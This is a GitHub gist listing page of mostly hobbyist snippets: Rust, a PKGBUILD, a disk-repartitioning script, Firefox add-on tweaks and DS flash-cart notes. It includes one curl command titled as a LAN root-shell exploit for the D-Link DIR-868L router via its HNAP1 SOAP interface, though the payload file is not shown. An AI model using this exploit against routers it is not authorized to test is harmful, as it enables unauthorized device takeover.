Skip to content

Instantly share code, notes, and snippets.

@angelsl
angelsl / a.rs
Last active February 11, 2020 07:16 — forked from donjar/a.rs
use actix::prelude::*;
pub struct Msg {
}
impl Message for Msg {
type Result = Result<i32, ()>;
}
pub struct AsyncActorThatOnlySpewsState {
@angelsl
angelsl / PKGBUILD
Last active April 4, 2019 16:05
rust-nightly-bin
# Contributor: micsproul at large search corporation's mail service.
# Contributor: Mohammad Alsaleh <msal@tormail.org>
# Maintainer: Steven Allen <steven@stebalien.com>
pkgname=rust-nightly-bin
pkgver=1.35.0_2019.04.03
pkgrel=1
arch=('i686' 'x86_64')
pkgdesc='Fast, concurrent, safe. The Rust programming language and its package manager, Cargo.'
url='https://www.rust-lang.org/'
#!/bin/bash
apt-get -y update && apt-get -y install haveged && systemctl start haveged
disksize=$(lsblk -bndo SIZE /dev/vda)
partm=$(($disksize/1048576-1024))
cat <<EOF | sfdisk /dev/vda
label: dos
size=${partm}M type=83
type=82
@angelsl
angelsl / curl.sh
Last active January 5, 2018 17:58
D-Link DIR-868L root shell from LAN
curl -u user:pass -X POST -H "Content-Type: text/xml" -H "SOAPAction: \"http://purenetworks.com/HNAP1/GetListDirectory\"" --data-binary @soap.xml http://<router ip>/HNAP1/
# warning: hangs httpd and xmldb
# fixme: don't hang httpd and xmldb
// Paste in browser console
(function() {
var s = {};
Components.utils.import("resource://gre/modules/addons/XPIProvider.jsm", s);
Components.utils.import("resource://gre/modules/addons/XPIDatabase.jsm", s);
s.XPIDatabase.getVisibleAddons(false).then(function (exts) {
for (var ext of exts) {
if (ext.type.indexOf("extension") > -1
&& (ext.location.name == "app-system-defaults" || ext.location.name == "app-global")) {
s.XPIDatabase.updateAddonDisabledState(ext, true);
#!/usr/bin/python3
import sys
import hashlib
BLOCKSIZE=0x200
f1d = {}
f2h = []
with open(sys.argv[1], 'rb') as f:
@angelsl
angelsl / A Flash layout.md
Last active November 22, 2017 18:11
Ace3DS+/r4isdhc.com.cn ROM map

R4isdhc.com.cn SPI flash layout

  • [0x8000, 0x9000): Blowfish S boxes
  • [0x9000, 0x9048): Blowfish P-array, but the 18 dwords are in reverse order
  • [0x9050, 0x9088): Some header: "FLASH GEN V4.0" "By KEN" (hi, Ken!) "2013/8/28"
  • [0x90C0, 0x9100): ?
  • [0xA000, 0x12E000): Deep Labyrinth stuff, see ROM maps below
  • [0x1FF000, 0x200000): Deep Labyrinth [0x8000, 0x8200) repeating

Remaining regions are either 00, FF, or likely trash

[Trigger]
Type = File
Operation = Install
Operation = Upgrade
Target = boot/vmlinuz-linux
Target = usr/lib/initcpio/*
[Action]
Description = Updating kernel EFI stub
When = PostTransaction
@angelsl
angelsl / gist:636296bed4bbde8dc0a7ee2c5791e367
Last active October 29, 2017 17:59
weird r4isdhc 2013 cart
flags = 0xA7406050, size = 4, unless otherwise stated
C5 00 00 00 00 00 00 00 (version in some BCD format) (possibly read flash? dunno)
C2 AA AA 55 55 00 00 00 (?)
C2 AA AA 55 55 00 00 00
D0 00 00 00 00 00 00 00 (size = 0) (probably write enable)
C2 AA AA 55 55 00 00 00
D4 xx xx xx 00 01 00 00 (size = 0) (erase 0x10000)
/*
* Copyright (C) 2004-2017 ZNC, see the NOTICE file for details.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software